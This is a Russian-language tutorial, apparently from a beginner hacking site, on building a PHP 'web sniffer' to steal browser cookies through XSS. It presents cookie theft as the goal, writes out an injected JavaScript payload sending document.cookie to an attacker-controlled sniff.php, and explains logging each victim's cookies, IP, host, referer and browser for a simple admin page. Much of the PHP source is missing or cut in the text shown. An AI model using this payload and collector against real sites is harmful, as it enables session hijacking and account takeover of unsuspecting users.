Новичку полезно

  • Баннер
  • А знаете ли вы что?

    - rudvs знает всё о твоих желаниях!


Сниффер на PHP

Теги: sniffer, сниффер, php

Любимое занятие всех новичков нашего дела – это кража cookies. Одна из самых элементарных схем кражи кукисов выглядит так:

обнаружение xss на сайте –> вставляем код вида document.location.replace('http://mysite.ru/sniff.php?c='+document.cookie);сriрt> -> ждем... -> собираем награбленное

На самом деле вставить код перенаправления на веб-сниффер и ждать не единственный вариант для кражи cookies, есть довольно много методов похищения файлов cookies, о которых вы можете почитать по приведенной ссылке, у нас на сайте или на google.ru.

В этой же статье мы рассмотрим написание самого элементарного веб-сниффера (далее просто сниффера) на php.

Логика работы снифера

Сниффер это пассивная программа единственная цель которой перехват информации. Наш сниффер (Файл sniff.php) будет записывать в файл все необходимые данные из массива $_ SERVER[].

Еще раз прошу не путать веб-сниффер (который и сниффером то назвать сложно) со сниффером т.е. анализатором трафика.

Псевдо админка (Файл admin.php) будет выводить эти данные в красиво оформленном виде. Конечно же, мы можем реализовать в админке авторизацию, изменение логики работы сниффера, очистку файла с логами при достижении его определенных размеров и много чего еще, но это выходит за рамки этой статьи.

Исходники снифера

Файл conf.php


В файле conf.php вы должны указать файл где будут хранится логи, по умолчанию это log.txt разумеется этот файл вы должны создать на сервере сами и дать скрипту права на чтения и запись.

ВАЖНО: не давайте файлу права на выполнения ака chmod +x!!!

Файл sniff.php

Файл с логами не указан или доступ на запись запрешен!';
 exit;
}
fputs($f, $str);//записываем переменную $str в файл $log
fclose($f);//закрываем дескриптор файла
?>
    В файле sniff.php вы можете проследить элементарную логику работы всех подобных скриптов.
  1. Сначала мы все нужные данные из массива $_ SERVER[] оформляем в строку вида my: string:data.
  2. Одна единственная строка кода помешает в переменную $str значение массива $_GET['c'], она предназначена для записи cookies.
    document.location.replace('http://mysite.ru/sniff.php?c='+document.cookie);
  3. Затем переменную $str мы записываем в файл логов, который был указан в файле конфигурации.

Какие значения мы записываем в файл логов кроме cookies?

  1. Дату и время что бы можно было узнать когда жертва попала к нам;
  2. Referer жертвы что бы можно было узнать откуда жертва попала к нам;
  3. Хост, ip, браузер жертвы и строку запросов как дополнительную, но очень важную информацию! Например хост и ip адрес помогут идентифицировать вашу жертву из сотни других, а строка параметров запроса может помочь передать параметры не предусмотренные для сохранения нашим сниффером, например идентификатор сессии.

Файл admin.php

 Админка

 
 

В файле admin.php функция file() возвращает массив строк из файла логов, который мы указали в файле конфигурации. Признаком конца строки при этом считается \n, вот зачем в файле sniff.php мы последнию переменную из массива $_ SERVER[] оформили так $str .= $_SERVER['REQUEST_URI'] . "\n";.

Далее этот массив мы посылаем на обработку в цикл foreach(){…}, где он сначала фильтруется от спец символов и затем разбивается на независимые переменные функцией explode(), разделителем при этом считается двоеточие, вот зачем мы в файле sniff.php после каждого элемента массива $_SERVER[] добавляли двоеточие.

Дальше мы просто выводим значение каждой переменной, предварительно обрамив их html тегами.

Итоги

Только что мы с вами рассмотрели механизм работы элементарного сниффера, в нем много не хватает, но это был всего лишь пример, для более детального понимания работы подобных скриптов. При желании вы сами сможете реализовать все нужные проверки и фильтрации, усложнить логику работы сниффера и добавить дополнительный функционал.

Добавить комментарий


Обновить